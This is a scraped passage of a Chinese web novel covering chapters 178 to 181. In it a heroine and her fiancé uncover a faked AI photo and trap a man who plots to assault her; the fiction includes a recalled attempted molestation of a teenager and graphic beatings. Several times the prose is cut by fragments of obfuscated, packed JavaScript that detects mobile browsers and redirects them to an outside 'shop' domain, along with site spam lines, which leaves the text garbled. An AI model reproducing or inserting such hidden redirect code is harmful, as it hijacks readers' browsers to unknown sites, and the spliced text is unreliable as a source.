l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16777672|190312||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 无论用什么方法。 …… 而此时的出租车上,方才的惊鸿一瞥没引起明燃的半点儿心绪波动,他靠在椅背上,闭目养神。 连日奔波处理林晚辞那摊烂事,几乎耗尽了他的心力。 哪怕方才在飞机上也是一直在补觉。 直到此刻,他才真正松懈下来,想起开机。 手机屏幕亮起,瞬间被无数未读消息和未接来电的提示淹没。 屏幕上方,几条推送的新闻标题触目惊 听说和异性朋友讨论本书情节的,很容易发展成恋人哦 心—— 【明氏集团深陷百亿骗局,董事长明庭峰坠楼!】 【明氏帝国一夜倾覆,疑因资金链断裂!】 明燃的瞳孔骤然收缩,血液仿佛在瞬间冻结! 他猛地坐直身体,血液仿佛在瞬间逆流,冲得他眼前阵阵发黑,耳膜嗡嗡作响。 不可能! 父亲怎么会坠楼?! 他昨天不是还刚刚跟他打过电话的吗?! 这绝不可能! 他手指颤抖着拨通了苏婉晴的电话。 电话几乎是秒接。 “妈!”明燃的声音嘶哑干涩,“爸他……新闻里说的是怎么回事?!” “阿燃……阿燃你终于开机了!” 苏婉晴的声音带着浓重的哭腔,“你快来医院……中心医院……你爸他……医生说他可能醒不过来了……植物人……” 植物人? 明燃只觉得一股寒气从脚底板直窜天灵盖,四肢百骸都僵住了。 “我马上到!”他几乎是吼出来的,额角青筋暴起,对着前排司机厉声道,“掉头!去中心医院!快!” 司机被他骇人的语气吓了一跳,不敢怠慢,猛地打方向盘,车子发出一声刺耳的摩擦声,朝着医院方向疾驰而去。 明燃死死攥着手机,指节因为用力而泛出骇人的青白色。 他的胸口剧烈起伏,父亲躺在医院生死未卜,母亲和妹妹该是何等无助…… 而他,竟然在国外为了那个女人的事情奔波! 一股巨大的愧疚和愤怒几乎要将他淹没。 他用力攥紧拳头,骨节泛白…… 第178章 天台真相!(二合一) 而此时医院走廊尽头的闲置病房。 收到短信就快步赶来的傅修沉推门而入,一眼就看见站在窗前的明嫣。 窗户大敞着,寒冬腊月的冷风毫无阻碍地灌入,将窗帘吹得猎猎作响,房间里的温度低得如同冰窖。 明嫣只穿着一件单薄的羊毛衫,背对着门口,身形显得愈发纤细,仿佛随时会被这凛冽的风吹走。 傅修沉的眉头骤然锁紧,大步上前,手臂越过她的肩头,“砰”地一声用力将窗户关上,隔绝了外面冰冷的喧嚣。 紧接着,他迅速脱下自己的黑色羊绒大衣,不由分说地披在了明嫣肩上,将她整个人严严实实地裹住。 “再伤心,也不要拿自己身体开玩笑。”他的声音低沉,带着一丝不易察觉的紧绷,像是强压着翻涌的情绪。 他将大衣领口在她颈前拢紧,指尖不可避免地触碰到她冰凉的皮肤,那寒意让他眸色更沉。 明嫣任由他动作,没有挣扎,只是缓缓抬起头,苍白的小脸上一双眼睛黑得惊人,直直地看向他,“傅修沉,在天台上到底还发生了什么事情?” 傅修沉为她系扣子的手指微微一顿。 明嫣的目光紧紧锁住他的眼睛,不放过他脸上一丝一毫的表情变化:“你跟我爸,除了在谈这次的投资风险,还有没有说过别的?” 傅修沉深邃的眼底掠过一丝极淡的波澜,他迎上她的视线,语气平静无波:“为什么这么问?” “我查过通话记录。”明嫣的声音很轻,却字字清晰,“我给你打电话被挂断的时间,正好是你跟警察说的,你和我爸还在天台上的时间。” 她顿了顿,呼吸微微急促了几分,“那个电话,是在那个时候被挂断的,对不对?” 空气仿佛凝滞了几秒。 傅修沉沉默地看着她,喉结滚动了一下,下颌线绷得有些紧,好半天,才几不可察地点了一下头,从喉咙深处挤出一个音节: “嗯。” 他深吸一口气,“是你爸挂的。” 明嫣的心脏猛地一缩。 傅修沉继续道,语速不快,每个字都带着沉甸甸的分量:“他看到了我的来电显示,然后就抢过手机直接挂断了。” “那……陈放说的**是怎么回事?” “轰——!” 这个词像是一道惊雷,骤然劈开了傅修沉脸上惯有的冷静。 他的瞳孔在瞬间收缩,周身的气息猛地变得凌厉而危险,仿佛被触及了逆鳞的猛兽。 那双深 你身边有不少朋友还没看到本章呢,快去给他们剧透吧 邃的眼眸里翻涌起骇人的墨色“陈放……” 他重复这个名字嗓音低沉沙哑裹挟着毫不掩饰的冰冷戾气“他找你了?什么时候?” “就在刚才。”明嫣一瞬不瞬地看着他“他给我打了电话说亲眼看见你推我爸爸下楼还说……他手里有照片。” 傅修沉的下颌线绷紧周身那股压抑的暴戾几乎要破体而出却在触及她的目光时又收敛了个一干二净。 他闭了闭眼再睁开时眼底是某种近乎破碎的沉痛。 “你……”他的喉结艰难地滚动了一下声音哑得不成样子“你信他?” 明嫣没有立刻回答只是往前走了一小步两人之间的距离近得能感受到彼此呼吸的微澜。 她抬起手不是推开他 她的手很凉带着窗外侵入的寒气可触碰的瞬间却像带着奇异的温度熨帖在他冰凉的皮肤上。 “我不信。”她说声音不大却字字清晰砸在傅修沉的心尖上“一个字都不信。” “如果我会信这种荒谬的指控刚才就不会直接问你。” 明嫣的指尖在他冰凉的皮肤上轻轻摩挲了一下像是要拂去那上面的寒意“傅修沉我要听你说。陈放说的‘**’到底是怎么回事?” 傅修沉的身体猛地一震。 他看着她抓住自己的手看着她清澈眼底全然的信任心脏像是被无数道看不见的利刃瞬间划开鲜血淋漓地泡进了盛满蜂蜜的罐子里…… 有多疼就有多甜。 这种极致的矛盾感冲击着他让他一时竟说不出话来。 他反手紧紧攥住了她的手仿佛只有这样才能确认眼前的一切不是幻觉。 他深吸了一口气眼底翻涌的情绪被强行压下。 “那时你大概十五六岁漂亮的像个洋娃娃。陈放跟着他父亲来明家做客。”傅修沉的语速很慢每一个字都像是从齿缝间碾磨出来“他趁你坐在秋千椅子上睡着了……” 他的呼吸骤然变得粗重眼底瞬间布满骇人的红血丝那是一种即便过去多年依旧无法释怀的杀意。 “我看到他……”傅修沉的声音冷得像冰“我看到他想掀开你的裙子还试图……亲你。” 明嫣的心猛地一沉一股寒意从脊椎窜起。 她对这个片段毫无记忆但仅仅是听着描述就让她胃里一阵翻江倒海。 “我把他拖出来打了他。 你的朋友正在书荒,快去帮帮他吧 ” 傅修沉说得轻描淡写但明嫣能想象到当时的场景以他少年时就冷硬狠戾的性子陈放绝不可能只是轻伤。 “我警告他如果敢说出去半个字或者再敢靠近你我就废了他。” “这件事我当时没有告诉任何人。”傅修沉看着她眼神复杂“我不想让你……哪怕只是听到这种污秽的事情。我原本打算永远瞒着你。” “那些糟烂的、恶心的念头哪怕只是动在你身上想一想都让我觉得脏了你。我不想让你知道这世界上还有那么龌龊的人和事更不想让你……因此有哪怕一丝一毫的心理阴影。” 他的声音低下去“哪怕那时的陈放其实根本就没来得及对你做什么实质性的伤害。但是只要想到他当时看着你的眼神抱着那种龌龊的想法靠近你……我就恨不得将他抽筋扒皮。” 明嫣静静地听着心脏像是被一只无形的手紧紧攥住呼吸都变得困难。 她不是不后怕不是不恶心陈放的行为但此刻更汹涌的情绪是对眼前这个男人的心疼。 他深吸一口气“但我没料到陈放这个混蛋卑鄙无耻到这种地步。他不敢找我报复竟然跑去你大哥面前颠倒黑白。” “他跟明燃说是我对你意图不轨被他撞见阻止所以我才会恼羞成怒打他。”傅修沉的嘴角扯出一抹冰冷至极的弧度“你大哥……他当时信了。” 明嫣瞬间明白了。 为什么大哥明燃多年来对傅修沉一直抱有那样深的敌意和排斥几乎到了水火不容的地步。 原来根结在这里! “所以你和我爸在天台他挂断我电话就是因为……”明嫣的声音有些发颤。 “嗯。” 傅修沉点头“陈放把这件事捅到了你爸那里。他今天约我上天台 明嫣下意识地屏气凝神。 原来是这样…… 所以那个电话不是傅修沉挂断的而是……她爸爸。 明嫣像是突然想到了什么“对了你看看这张照片……” 说着她将手机递给傅修沉。 “像素断层不自然边缘锐化过度——这是AI合成的典型特征。” 她又滑动到明庭峰的脸部特写:“面部肌肉扭曲的弧度违反人体工学。最重要的是……” 她将 听说和异性朋友讨论本书情节的,很容易发展成恋人哦 图片缩到全景,指着天台边缘的金属围栏:“真正的围栏高度是1.2米,按照这个拍摄角度,如果是**拍摄,栏杆应该会出现在画面中这个位置。 她指尖轻点屏幕空白处:“但现在它是完全缺失的。 傅修沉眸光骤深:“你早就看出是假的? “第一眼就看出来了。明嫣收起手机,抬眼看他,“我故意套他的话,问他还有没有更多照片。 她唇角勾起冷冽的弧度:“一个手握‘铁证’的人,怎么会只发一张漏洞百出的合成图?他背后有人指点,但技术团队不够专业。 傅修沉指腹摩挲着她冰凉的手背,眼底翻涌着浓稠的墨色:“陈放没这个脑子布这么大的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16777673|190312||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 局。 “陈放现在跳出来,不仅仅是为了报复你。她思路清晰地分析,“他选在这个时间点,拿着那张角度刁钻的照片,联系我,挑拨我们……这背后肯定还有人。 “他背后的人,目标很明确。明嫣蹙起秀眉,“先是制造我爸爸‘**’的假象,再把嫌疑引到你身上,同时抛出当年的旧事,彻底摧毁我们之间的信任。一旦我们内乱,对方就能趁虚而入。 傅修沉赞赏地看着她,他的小姑娘,在巨大的变故和冲击下,依旧能保持如此清晰的头脑。 “对方很了解我们,了解明家,也了解……陈放这根刺,埋得足够深,足够致命。 傅修沉的声音冷冽如刀,“能做到这一点的人,不多。 两人对视一眼,彼此心中都浮现出一个人的名字。 ——傅承平。 “陈放方才在电话里问过我,想不想为我爸报仇。明嫣低声道。 傅修沉嗤笑一声,眼底满是冰冷的讥诮:“报仇是假,借刀**是真。他背后的人,无非是想利用你来对付我。而陈放自己,不过是条想趁机咬块肉下来的鬣狗。 明嫣立刻明白了他的意思:“他想用照片作为筹码,引我上钩,或者……逼我们按他背后的剧本走。 “没错。 明嫣的唇角勾起一丝冷笑,“既然他们想玩,那我们就陪他们玩到底。 她仰头,“傅修沉,敢不敢跟我演一场戏? 傅修沉没有丝毫犹豫,迎上她的目光:“你说。 “陈放不是想看我对你恨之入骨,想看我找你‘报仇’吗?明嫣的眼眸微眯,“那我们就演给他看…… 她将自己的计划和盘托出。 如何假装被照片离间,如何制造矛盾,如何引蛇 听说和异性朋友讨论本书情节的,很容易发展成恋人哦 出洞,如何一步步让陈放和他背后的人自己跳出来…… 傅修沉认真地听着,不时点头,偶尔补充一两个细节。 “……最重要的是,拿到他手里所有的照片原件,弄清楚背后的人到底是谁,以及……”明嫣的眸光沉了下去,“我爸坠楼的真相。” 傅修沉重重地点头,“我明白。” 计划商定,明嫣微微直起身,抬手捧住她的脸,指腹在他的脸颊上轻轻摩挲,“会很危险,可能会让你受委屈。” 傅修沉抓住她的手,贴在自己脸颊,感受着她掌心的柔软温热,唇角微勾,“为你赴汤蹈火,在所不辞。” …… 明燃踏进医院长廊时,带起一阵凛冽的风。 他步子很大,走起路来跛脚得越发明显,皮鞋一深一浅地敲击地面的声音在寂静中格外清晰,一声声,撞在人心上。 明嫣正从病房里出来,抬头就撞上这样一双眼睛。 “哥……” 明燃的脚步在她面前顿住。 他的目光极沉极深地寸寸碾过她苍白的脸,最后定格在她微微红肿的眼皮上。 他没应声,只是抬手,指腹有些粗粝,擦过她眼下湿润的痕迹,动作不算温柔,甚至带着点压抑的狠劲。 “爸呢?”他问,声音低哑,像砂纸磨过。 “在ICU,还没醒。”她吸了吸鼻子,努力想稳住声线,却还是泄出一点颤音,“医生说是……醒来的希望很小……” 明燃的下颌线骤然绷紧,喉结重重滚动了一下。 他闭了闭眼,再睁开时,里面所有的情绪都被强行压了下去,只剩下冰封的冷。 他没再多问,抬脚就往ICU的方向走。 明嫣下意识跟上,手指蜷缩着,想去拉他的衣袖,却在触及他周身那层无形寒气时,僵在了半空。 ICU的玻璃窗外,只能看到里面模糊的仪器轮廓和床上那个毫无生气的影子。 明燃站在那里,背脊挺得笔直。 他看了很久,久到明嫣以为他会一直这样站下去。 然后,他极轻地笑了一声。 那笑声又冷又空,带着一种让人心惊胆战的平静…… 第179章 一份大礼! 腊月二十七,魔都上空积压着铅灰色的云,寒风卷着黄叶,扫过冰冷街道,一派山雨欲来的压抑。 临近春节,本该是喜庆祥和的气氛,却被几条不胫而走的重磅消息彻底搅乱。 先是明氏集团董事长明庭峰坠楼成植物人的新闻持续发酵,各种猜测甚嚣尘上。 紧接着,一个更炸裂的消息在沪上顶级圈子里悄然传开——傅家太子爷傅修沉与明家千金明嫣的婚约取消了! 传闻有鼻子有眼,说是傅修沉跟明庭峰坠楼有关,明嫣悲愤交加,当场分手。 更有好事者信誓旦旦地声称,看到傅修沉接连几天都未在傅氏集团露面,整个人酗酒度日,颓废不堪,所有人事务也暂时交由副手打理。 一时间,流言蜚语,沸反盈天。 …… 而与此同时,城西一家隐蔽的地下酒吧,光线昏聩,空气里弥漫着烟草和酒精混合的浊气。 陈放窝在最角落的卡座里,面前堆满了空酒瓶。 他盯着手机屏幕上关于傅明两家婚约取消的推送消息,嘴角咧开一个扭曲而畅快的笑容。 “傅修沉,你也有今天!”他猛地灌了一口辛辣的烈酒,酒精灼烧着喉咙,却让他更加兴奋,“被女人甩的滋味怎么样?啊?” 他仿佛已经看到傅修沉痛不欲生的模样,积压了多年的怨恨似乎找到了宣泄口,激动得手指都在发抖。 就在这时,他的手机屏幕亮起,来电显示是傅承平。 陈放嗤笑一声,懒洋洋地接起,语气带着得意:“喂?二叔,看到新闻了吗?我说什么来着?我的计策怎么样了?” 电话那头,傅承平的声音却异常冷静,甚至带着一丝警惕:“你别高兴得太早,傅修沉不是那么容易对付的人……” 陈放不屑地啐了一口,“他傅修沉又不是神!为了明嫣那个**,他什么事做不出来?当年不就是……” 他话头截断,眼中戾气一闪,抿了抿唇,低声问道,“二叔,咱们是不是该进行下一步了?” 傅承平显然忧虑重重,“再等等,等确认清楚再说。 陈放面露不耐,“还等什么?现在是最好的机会!我们只要再加把火,就能彻底把他们都毁了……” 傅承平沉声打断他,“我说了,别轻举妄动,别忘了是谁给你提供了照片,是谁帮你策划了这一切!” “是,是你帮了我。”陈放的声音低了下去,却带着一种破罐子破摔的疯狂,“可二叔,你也别忘了,就算你不找上我,我 你的朋友正在书荒,快去帮帮他吧 也一定会找他们报仇! 他的呼吸变得粗重,像是陷入了某种痛苦的回忆,声音嘶哑扭曲:“我所有的不幸,都是拜傅修沉和明燃所赐!若不是他们,我不会落到现在这步田地!我爸……那个老不死的,就因为怕得罪傅明两家,要跟我脱离关系!我现在什么都没有了!什么都没有了! 他猛地将手中的酒瓶砸在地上,玻璃碎片和酒液四溅,吓得旁边的小混混噤若寒蝉。 “我这辈子已经被他们两个彻底毁了!陈放对着电话低吼,“我现在活着的唯一意义,就是看着他们比我痛苦一千倍,一万倍! 他顿了顿,脸上露出一抹怨毒的笑容,语气变得诡异:“二叔,你知道这两个男人最在意的是什么吗?是明嫣!那个**!我所有的不幸,都源于她!要不是她,我怎么会变成今天这副鬼样子! “我倒是要尝尝……她跟其他女人有什么不同? 他舔了舔干裂的嘴唇,眼神浑浊,“压在身下的时候,还不是一样爽地叫天叫地?我倒是要看看这傅修沉的女人、明燃的妹妹是什么滋味!我要让他们知道,他们捧在手心里的宝贝,不过是我陈放玩烂的破鞋!我看他们后不后悔当初对我做的一切! 电话那头的傅承平沉默了许久,似乎在权衡利弊。 陈放的疯狂超出了他的预期,但这份疯狂,或许正是他现在需要的。 一个理智的盟友不好控制,但一个被仇恨吞噬的疯子,却是一把最好用的刀。 “……你想怎么做?傅承平终于开口,声音听不出情绪。 陈放见他没有再强烈反对,脸上露出得逞的狞笑:“明嫣现在孤立无援,精神脆弱,是最好的下手时机。你给我几个人,我去‘安慰安慰’她……顺便,把生米 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16777674|190312||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 煮成熟饭。到时候,再把视频照片发给傅修沉和明燃,我看他们会不会发疯! 傅承平沉吟片刻,最终,心底对傅修沉的忌惮和怨恨到底还是压倒了他的谨慎。 “好。我会安排两个人给你。记住,手脚干净点,别留下把柄。事成之后,少不了你的好处。 “成交!陈放兴奋地挂断电话,眼底闪烁着志在必得的凶光。 他仰头将杯中残酒一饮而尽,当即掏出另一个不记名手机,翻到明嫣的号码,开始编辑信息…… …… 而此时,同样挂断电话的傅承平则是坐在轮椅来到了傅氏集团总部,一路畅通无阻地来到了陆凛办公室外。 他示意心腹在外面候着,自己操纵着轮椅,缓缓地 你的朋友正在书荒,快去帮帮他吧 推开办公室的门。 陆凛正斜靠在宽大的老板椅上,两条长腿随意地搭在桌沿。 他指间夹着烟,却没抽,任由那点猩红在指尖明明灭灭,烧出一截长长的灰烬。 那头染回黑色的短发利落不羁,眉眼低垂着,遮住了眼底惯有的戾气,只剩下一片沉沉的仿佛化不开的阴郁。 门被无声推开。 轮椅碾过厚重的地毯,发出沉闷的声响。 陆凛眼皮都没掀,语气带着惯常的不耐烦:“滚出去。” “阿凛。” 陆凛搭在桌沿的脚猛地放下,同时抬起眼,黑沉的眸子像淬了冰的刀子,直直射向不请自来的傅承平。 “谁准你进来的?” 傅承平脸上挤出一丝笑,配合着他满脸未消的青紫和僵硬打石膏的腿,显得格外诡异。 他操纵轮椅,又往前近了几分,几乎要碰到办公桌。 “我来,是给你送一份大礼。” 傅承平压低了声音,眼底寒光闪烁,“一份能让你得到一切的大礼。” “你?”陆凛嗤笑一声,重新靠回椅背,指尖弹了弹烟灰,姿态慵懒,眼底却全是嘲讽:“小舅舅,你现在都自身难保了,能给我什么?” “傅氏集团。”傅承平一字一顿,声音带着蛊惑,“还有……明嫣。” 第180章 得到她…… ‘明嫣’两个字像带着钩子,精准地刮过陆凛的耳膜。 他捻着烟蒂的指尖几不可察地顿了一下,烟灰簌簌落下。 但他脸上依旧是那副混不吝的嘲弄:“听不懂人话?滚。” 傅承平却不慌不忙,身体微微前倾,声音压得更低,像毒蛇吐信:“阿凛,别装了,你知道你对明嫣还没死心,你瞒得过傅修沉,你瞒不过我。” 陆凛眸色骤然一沉,戾气瞬间炸开,他猛地攥紧拳头,手背上青筋虬结,几乎要起身。 傅承平立刻抬手示意他稍安勿躁,“你先别急,听我把话说完。” 他观察着陆凛的反应,心下稍定,“阿凛,其实我们都被傅修沉骗了!他根本就是个道貌岸然的**子……” 他深吸一口气,像是难以启齿,却又不得不说的模样:“十年前,明嫣才十五六岁,傅修沉他就……他就对她起了龌龊心思!企图**她!” “轰——!” 陆凛只觉得脑子里像是有惊雷炸开,血液瞬间冲向头顶,又迅速冻结。 他猛地坐直身体,死死盯着傅承平,声音从喉咙深处挤出来,嘶哑得不成样子:“你、再、说、一、遍?” 傅承平被他这副模样吓了一跳,但箭在弦上,不得不发。 他硬着头皮,添油加醋地将陈放那套颠倒黑白的说辞复述了一遍,语气悲愤,仿佛感同身受: “是陈放亲眼所见!他为了阻止傅修沉,差点被傅修沉打死!这件事,明燃也知道,所以他一直反对明嫣和傅修沉在一起!明嫣的父亲……明庭峰,他前几天约傅修沉上天台,就是为了质问这件事!” 他顿了顿,声音压得更低,“可傅修沉害怕事情败露,竟然恼羞成怒,一把将明庭峰从顶楼推了下去!” “这件事明嫣也知道,否则,所以才跟傅修沉解除婚约……” 他一边说着,一边打开手机点开一张照片递了过去。 “这是陈放当时拍到的……” 陆凛没有接,只是目光落在手机的照片上,拳头攥得死紧,手背上青筋虬结,指甲深陷进掌心,渗出血丝,他却感觉不到丝毫疼痛。 傅承平将他的挣扎尽收眼底,心中得意,继续抛出诱饵:“阿凛,跟我合作。我帮你……扳倒傅修沉。你身上也流着一半傅家的血,这傅氏集团本来就该是你的!凭什么永远被傅修沉压着一头?” 他声音带着恶魔般的低语:“到时候,你可以光明正大地站在明嫣身边,保护她,拥有她……” 陆 你的朋友正在书荒,快去帮帮他吧 凛猛地闭上眼,喉结剧烈地滚动,额角的青筋暴起。 傅承平的话像平地惊雷,在他心里掀起了惊涛骇浪。 那些被他死死压抑的卑劣而疯狂的念头,如同挣脱牢笼的野兽,咆哮着冲撞着他的理智。 得到她…… 保护她…… 拥有她…… 这几个词像魔咒,带着致命的吸引力。 一股混合着妒忌和某种扭曲占有欲,如同岩浆般在他胸腔里灼烧。 陆凛沉默着,指间的烟已经燃尽,灼烫的触感传来。 他面无表情地将烟蒂摁灭在水晶烟灰缸里,发出“嗤 良久,他抬眸,黑沉的视线落在傅承平脸上,没有任何温度: “……你想怎么做? …… 腊月二十八,年关的喜庆气儿被连日来的阴云压得一丝不剩,连风都带着股砭骨的潮意。 暮色四合,华灯初上,魔都的璀璨却照不进城西那条待拆的陋巷。 巷口路灯坏了一盏,剩下那盏苟延残喘,昏黄光晕在湿漉漉的地面投下鬼魅般的影。 明嫣独自一人站在光暗交界处。 她穿着一件驼色的羊绒大衣,围巾裹住了半张脸,只露出一双清凌凌的眼。 指尖在口袋里,无意识地摩挲着冰冷的手机外壳。 屏幕上,是陈放最后发来的信息,只有一个地址,和一句透着狎昵意味的【明大小姐,等你哦。】 胃里一阵翻江倒海。 脚步声杂沓,从巷子深处传来。 三四道歪斜的身影被昏灯拉长,率先抵达她脚下。 为首那人,正是陈放。 他穿着鼓鼓囊囊的羽 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16777675|190312||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 绒服,头发油腻,眼底青黑,嘴角咧着,毫不掩饰目光里的贪婪和得意。 “哟,真来了?陈放上下打量她,“够胆儿啊,明大小姐。 他身后跟着的三个男人,流里流气,眼神浑浊,同样不怀好意地笑着,呈半包围状拢了过来。 明嫣强压下心头的厌恶和一丝本能恐惧,脊背挺得笔直,声音刻意放得冷而平静:“照片呢? “急什么?陈放嗤笑,又往前凑了一步,几乎能闻到他身上劣质烟草和酒精混合的臭味,“咱们……先聊聊? 他伸手,想碰明嫣的脸。 明嫣猛地侧头避开,眼神锐利如冰锥:“别碰我! “碰你怎么了? 陈放脸色一沉,那点伪装的耐心耗尽,露出底色的狰狞 听说和异性朋友讨论本书情节的,很容易发展成恋人哦 ,“你以为你还是那个高高在上的明家千金?你爸成了活**,傅修沉也不要你了!你现在算个什么东西?” 他话音未落,旁边一个黄毛混混嬉皮笑脸地插嘴:“放哥,跟她废什么话?直接带走呗!” “就是,这妞儿真水灵……” 污言秽语钻进耳朵,明嫣指尖掐进掌心,疼痛让她保持清醒。 她在赌,赌陈放背后的人还没拿到他们最终想要的东西,赌他们不会立刻下死手。 她在等,等那个最佳的收网时机。 “照片在我手机里,”陈放晃了晃手里的手机,笑容淫邪,“你乖乖跟我们走,找个安静地方,我慢慢……给你看。” 他使了个眼色,另外三人立刻围拢上来,伸手就要抓明嫣的胳膊。 “砰!” 一声闷响! 伴随着一声凄厉的惨叫,那个试图碰明嫣的混混如同被高速行驶的卡车撞上,整个人倒飞出去,重重砸在对面的残墙上,软软滑落,哼都没哼一声就晕了过去。 一切发生得太快! 陈放和另一个混混甚至没看清来人! 只见一道黑色的身影如同鬼魅,携着凛冽的寒风与骇人的戾气,闯入这方狭小的天地。 ——陆凛! 第181章 局中局! 只见陆凛穿着一件黑色大衣,身形挺拔如利刃出鞘,那头削薄的黑色碎发下,眉眼锐利得像开了刃的刀,眼底翻涌着近乎实质的暴戾与杀意! 他甚至没看明嫣,目标明确,直接一脚踹向另一个混混的膝弯! “咔嚓!令人牙酸的骨裂声清晰可闻! “啊——!那混混抱着扭曲的腿,发出杀猪般的嚎叫,倒地翻滚。 陈放这才反应过来,吓得魂飞魄散,转身就想跑! 陆凛怎会给他机会? 他长腿一迈,几步追上,一把揪住陈放的后衣领,用力往后一掼! 陈放像个破麻袋一样被狠狠摔在泥泞冰冷的地面上,溅起泥点。 他惊恐地抬头,正好对上陆凛那双黑沉沉的眼眸。 “陆……陆凛……你,你怎么……陈放语无伦次,手脚并用地向后爬。 陆凛根本不跟他废话,俯身,铁钳般的手攥住陈放的头发,迫使他扬起头,另一只手握拳,裹挟着风声,狠狠砸向他的面门! “砰! 鼻梁塌陷的声音混合着陈放的惨叫,鲜血瞬间迸溅出来,染红了陆凛的指节,也染红了地面肮脏的积雪。 “敢动她? 又是一拳,砸在陈放的眼眶上,眼球瞬间充血凸起,恐怖骇人。 “照片呢?陆凛揪着他的头发,将他提起来一点,逼视着他涣散的瞳孔,“嗯?照片在哪儿? 陈放被打得意识模糊,满嘴是血,含糊地求饶:“照片……照片不在我手里…… 陆凛眼神一戾,正要再问。 “陆凛! 明嫣终于从这突如其来的变故中回过神,急声喊道。 她的计划全都被打乱了! 陆凛动作一顿,拳头悬在半空。 他猛地转过头,看向明嫣。 那双总是带着桀骜不驯的眼睛里,此刻翻涌着太多复杂的情绪——有未散的暴戾,有心有余悸的后怕,还有一种更深沉的几乎要破土而出的东西。 他松开几乎昏死过去的陈放,几步走到明嫣面前。 他比她高很多,此刻站在她面前,带着一身未散的血腥气和凛冽寒意,像一堵密不透风的墙。 “你没事吧?他声音沙哑得厉害,目光急切地在她身上扫视,想碰她又不敢,手指蜷缩着,指节上还沾着陈放的血。 “我没事。她摇头,尽量让自己的语气平静,“ 听说看这本书的人都是很幸运的,分享后你的运气会更棒 你不该来的。” 陆凛眉头紧锁,语气带着一股焦躁的怒气:“我不该来?难道眼睁睁看着你被这种垃圾欺负?明嫣,你长没长脑子?这种地方你也敢一个人来?!” 他喘着粗气,胸口剧烈起伏,像是被气得不轻,又像是被刚才那惊险的一幕吓到。 “他说有照片你就信?那些照片是假的!我让人查过了,全是用了特殊手**成的!我大哥他……”陆凛说到这里,语气顿了一下,“傅修沉他做不出那种事!” 他盯着她的眼睛,一字一句,像是在对她强调,又像是在说服自己:“他或许是个混蛋,但他对你……他不可能……” 话音未落—— “臭小子,你骂谁呢?” 一道低沉冷冽的嗓音,带着一丝不易察觉的无奈,自巷口传来。 众人循声望去。 只见傅修沉不知何时站在那里。 他穿着一身挺括的黑色长大衣,身姿颀长,肩头落着细碎的雪沫。 他身后跟着几名穿着黑色西装的保镖,瞬间将狭小的巷口封锁。 傅修沉的目光先是极快地扫过明嫣,确认她完好无损,那深邃眼底一闪而过的紧绷才悄然松弛。 随后,他的视线落在狼狈不堪的陆凛,以及地上如同死狗般的陈放几人身上。 最后,他看向陆凛,微微挑了挑眉,唇角勾起一抹要笑不笑的弧度,几乎是咬着后槽牙,一字一顿地: “我、谢、谢、你、啊。” 语气里的无奈和被打乱计划的懊恼,几乎要溢出来。 陆凛:“……” 事到如今,他就算再迟钝也知道是怎么回事儿了…… ——局中局。 他这是坏了人家的事了…… 陆凛抿了抿唇,梗着脖子,“谢什么谢!我再不来,这傻子就被人啃得骨头都不剩了!” 他指的是明嫣。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16777676|190312||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 明嫣:“……” 傅修沉没再理会陆凛的嘴硬,他迈步走来,目光扫过地上瘫软如泥的陈放,以及那几个抖如鹌鹑的混混,眼神瞬间冷了下去。 他带来的几个人无声散开,迅速控制了现场。 傅修沉走到明嫣面前,垂眸看她,指尖轻轻拂过她颊边被风吹乱的一缕发丝,动作温柔,与他此刻周身散发的冷厉气场截然不同。 “吓到了?”他低声问,嗓音带着一丝不易察觉的哑。 明嫣摇摇头,抬眼与他对视,眼底一片清明,哪有半分被吓到的样子:“我等你来收 你身边有不少朋友还没看到本章呢,快去给他们剧透吧 网。” 傅修沉微微一怔,随即了然,眼底掠过一丝极淡的笑意和赞赏。 他的小姑娘,比他想得更聪明,更大胆。 地上,陈放看着这一幕,这才意识到自己完了。 